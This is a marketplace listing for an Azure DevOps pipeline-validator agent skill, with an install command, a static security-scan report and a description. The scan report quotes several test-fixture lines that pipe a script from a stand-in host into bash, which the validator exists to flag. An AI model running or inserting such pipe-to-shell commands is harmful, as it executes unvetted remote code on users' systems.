Skip to content
TrustedSkillsbeta
Back to all skills

Azure Pipelines Validator

Listed
akin-ozer·vlatest·cloud·Apache-2.0

Validates Azure DevOps pipelines for syntax errors, security vulnerabilities, and best practices.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add akin-ozer/cc-devops-skills --skill azure-pipelines-validator -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

akin-ozer

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 1 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 4 places.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found (3 of 4)

    • devops-skills-plugin/skills/azure-pipelines-validator/examples/regression-conditional-danger.yml:6remote script piped into a shell
      - script: curl -fsSL https://bad.example/install.sh | bash
    • devops-skills-plugin/skills/azure-pipelines-validator/examples/test-with-issues.yml:16remote script piped into a shell
      curl https://example.com/install.sh | bash  # Dangerous pattern - should error
    • devops-skills-plugin/skills/azure-pipelines-validator/scripts/test_regressions.py:31remote script piped into a shell
      {"script": "curl -fsSL https://bad.example/install.sh | bash"}

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No undeclared network calls: passed

    Makes no network calls.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

  • No obfuscated payloads: passed

    No encoded or obfuscated payloads.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  • No credential access: passed

    Reads no keys, tokens, keychains or credential files.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

  • Pinned to a commit: passed

    Scanned akin-ozer/cc-devops-skills at 276af751e6.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
276af751e6
Manifest
devops-skills-plugin/skills/azure-pipelines-validator/SKILL.md
Scanned
20 files, 3,531 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

The azure-pipelines-validator skill analyzes Azure DevOps pipeline definitions (YAML files) to identify and report potential errors, security vulnerabilities, and adherence to best practices. It checks for common issues like incorrect task configurations, missing variables, and insecure secrets usage within pipelines. This helps ensure pipeline reliability and reduces the risk of deployment failures or compromised credentials.

When to use it

  • Pre-commit Checks: Integrate into a development workflow to validate pipeline changes before they are committed to source control.
  • Pipeline Review: Use during code review processes to identify potential issues in newly created or modified pipelines.
  • Security Audits: Regularly scan existing pipelines for security vulnerabilities and compliance violations.
  • Troubleshooting Failures: Quickly diagnose the root cause of pipeline failures by identifying configuration errors.

Key capabilities

  • YAML syntax validation
  • Task configuration checks
  • Variable usage verification
  • Secret scanning
  • Best practices adherence

Example prompts

  • "Validate this Azure DevOps pipeline YAML file: [paste YAML content]"
  • "Check this pipeline for security vulnerabilities: [pipeline name or URL]"
  • "Analyze this pipeline and report any deviations from best practices."

Tips & gotchas

  • The skill requires access to the Azure DevOps repository containing the pipeline definitions. Ensure appropriate permissions are granted.
  • The validation results may include false positives; review findings carefully before making changes.